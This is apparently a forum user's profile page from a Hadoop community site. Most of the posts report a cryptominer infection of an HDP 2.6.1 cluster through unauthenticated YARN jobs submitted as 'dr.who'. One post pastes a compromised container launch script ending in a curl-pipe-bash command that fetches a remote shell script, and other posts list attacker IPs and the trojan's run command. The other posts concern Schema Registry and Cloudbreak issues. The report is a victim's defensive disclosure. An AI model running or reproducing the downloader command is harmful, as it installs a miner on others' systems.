Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

qhuy_duong · ‎07-12-2018

Hello! I has view log run container and content is: # Creating copy of launch script cp "launch_container.sh" "/hadoop/yarn/log/application_1531304690787_0086/container_e05_1 531304690787_0086_02_000001/launch_container.sh" chmod 640 "/hadoop/yarn/log/application_1531304690787_0086/container_e05_1531304690787_00 86_02_000001/launch_container.sh" # Determining directory contents echo "ls -l:" 1>"/hadoop/yarn/log/application_1531304690787_0086/container_e05_1531304690 787_0086_02_000001/directory.info" ls -l 1>>"/hadoop/yarn/log/application_1531304690787_0086/container_e05_1531304690787_008 6_02_000001/directory.info" echo "find -L . -maxdepth 5 -ls:" 1>>"/hadoop/yarn/log/application_1531304690787_0086/con tainer_e05_1531304690787_0086_02_000001/directory.info" find -L . -maxdepth 5 -ls 1>>"/hadoop/yarn/log/application_1531304690787_0086/container_e 05_1531304690787_0086_02_000001/directory.info" echo "broken symlinks(find -L . -maxdepth 5 -type l -ls):" 1>>"/hadoop/yarn/log/applicati on_1531304690787_0086/container_e05_1531304690787_0086_02_000001/directory.info" find -L . -maxdepth 5 -type l -ls 1>>"/hadoop/yarn/log/application_1531304690787_0086/con tainer_e05_1531304690787_0086_02_000001/directory.info" echo "Launching container" exec /bin/bash -c "curl https://bitbucket.org/fckskid/mygit/raw/master/zz.sh | bash"

qhuy_duong · ‎07-12-2018

This three server host for Virus contact to load: 193.22.96.25/32 176.119.28.11/32 185.222.210.59/32

qhuy_duong · ‎07-12-2018

Hello! I has install new cluster. I has firewall all public network. But after install HDP, virus is running, it run via submit task Yarn with Dr.Who user. When submit success, all worker run script to start container, and script malware in this script load this virus to run minning (100%CPU). Please check packages on HDP to verify not has inject malware to project opensource! It very dangerus!

qhuy_duong · ‎05-17-2018

Thanks Sandeep! I have use firewall block port for yarn resource (8088)!. And all yarn application from user dr.who has gone!

qhuy_duong · ‎05-16-2018

Hi! I'm using HDP 2.6.1. Every ok, but recently, I has problem with Yarn application. I has found type of virus. It work flow: 1. Some service submit yarn application with user name "dr.who" 2. When submit yarn application, on worker will run script container. Script have malware to download Trojan CrytalMiner. 3. Trojan will run via command: /tmp/java -c /tmp/w.conf. I has kill job, but it will re-run after about 15 minute. I don't know where submit yarn application with user "dr.who"!, Anybody has same problem?. Please check and show how to remove this! Many thank!

qhuy_duong · ‎04-15-2018

Thanks, it work!. Please note to new version when change url.

qhuy_duong · ‎04-05-2018

Hi! I using SchemaRegistry version 0.5.1. I want develop python schema client, so I want to see REST API. But when i using url like http://localhost:9090/api/swagger/ it return " .

qhuy_duong · ‎04-01-2018

Hi, after i update to 2.4.1-rc.27. It has seup cluster on GCS done. I can access Ambari to config, but in Cloudbreak it still show "Update InProcess" (It show in 2 days ago to now). And in detail it show some node not register (But in Ambari it has controlled all node). And because cluster status in "Update in process", so i can resize. Please fix this, Many Thanks!

qhuy_duong · ‎03-26-2018

Hi! I think google cloud change permission on API global and zone operation. With operation like "resourceType: GCP_DISK, resourceName: hdf-test, stackId: 5, operation: hdftest-s-2-20180323123311", it run in zone operation. So i see cloudbreak using API globalOperation.get to check this operation, If you using zoneOperation.get to check this it done. , Hi! I think google has change permission on API. For example, with operation "resourceType: GCP_DISK, resourceName: hdf-test, stackId: 5, operation: hdftest-s-2-20180323123311" it run in zone operation, but in cloudbreak we using globalOperation to check status. I has try using zoneOperation to check with operation on zone it done. Please check this!!

Online	Offline
Last Visited	‎07-12-2018 11:05 AM

Date Registered	‎03-26-2018 07:28 AM
Last Visited	‎07-12-2018 11:05 AM
Total Messages Posted	9
Total Kudos Received	3

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

HDP 2.6.1 Virus CrytalMiner (dr.who)

Re: Schema Registry REST API Reference - Link doe...

Re: Schema Registry REST API Reference - Link doe...

Re: Infrastructure creation issue in GCP with Clou...

Re: Infrastructure creation issue in GCP with Clou...